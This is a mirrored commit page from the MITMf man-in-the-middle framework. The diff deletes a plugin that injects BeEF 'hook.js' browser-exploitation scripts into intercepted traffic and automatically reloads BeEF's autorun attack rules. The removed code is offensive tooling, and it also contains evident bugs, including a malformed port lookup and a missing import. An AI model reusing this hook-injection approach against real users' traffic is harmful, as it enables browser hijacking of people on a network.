mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-21 14:03:26 -07:00
Removed beefautoplugin since it's pretty useless now with BeEF's ARE engine
removed check to enable IP forwarding using sysctl
This commit is contained in:
parent
77fc00539e
commit
24070afbd0
11 changed files with 4 additions and 300 deletions
|
@ -1,82 +0,0 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
import os
|
||||
import pyinotify
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
from core.beefapi import BeefAPI
|
||||
|
||||
class BeefAutorun(Inject, Plugin):
|
||||
name = "BeEFAutoloader"
|
||||
optname = "beefauto"
|
||||
desc = "Injects BeEF hooks & manages BeEF's ARE rule loading"
|
||||
version = "0.4"
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.ip_address = options.ip
|
||||
beefconfig = self.config['MITMf']['BeEF']
|
||||
|
||||
Inject.initialize(self, options)
|
||||
self.js_url = 'http://{}:{}/hook.js'.format(options.ip , ['port'])
|
||||
|
||||
beefconfig = self.config['MITMf']['BeEF']
|
||||
|
||||
from core.utils import shutdown
|
||||
beef = BeefAPI({"host": beefconfig['host'], "port": beefconfig['port']})
|
||||
if not beef.login(beefconfig['user'], beefconfig['pass']):
|
||||
shutdown("[BeEFAutorun] Error logging in to BeEF!")
|
||||
|
||||
self.tree_info.append('Starting RuleWatcher')
|
||||
RuleWatcher(beef, self.log).start()
|
||||
|
||||
def options(self, options):
|
||||
pass
|
||||
|
||||
class RuleWatcher(pyinotify.ProcessEvent):
|
||||
|
||||
def __init__(self, beef, logger):
|
||||
pyinotify.ProcessEvent.__init__(self)
|
||||
self.beef = beef
|
||||
self.log = logger
|
||||
|
||||
def process_IN_MODIFY(self, event):
|
||||
self.log.debug('Detected ARE rule change!')
|
||||
for rule in self.beef.are_rules.list():
|
||||
self.log.debug('Deleting rule id: {} name: {}'.format(rule.id, rule.name))
|
||||
rule.delete()
|
||||
|
||||
if event.src_path.endswith('.json'):
|
||||
self.log.debug('Detected ARE rule modification/addition!')
|
||||
for rule in os.listdir('./config/beef_arerules/enabled'):
|
||||
if rule.endswith('.json'):
|
||||
rule_path = './config/beef_arerules/enabled/' + rule
|
||||
self.log.debug('Adding rule {}'.format(rule_path))
|
||||
self.beef.are_rules.add(rule_path)
|
||||
|
||||
def start(self):
|
||||
wm = pyinotify.WatchManager()
|
||||
wm.add_watch('./config/beef_arerules/enabled', pyinotify.IN_MODIFY)
|
||||
notifier = pyinotify.Notifier(wm, self)
|
||||
|
||||
t = threading.Thread(name='RuleWatcher', target=notifier.loop)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
Loading…
Add table
Add a link
Reference in a new issue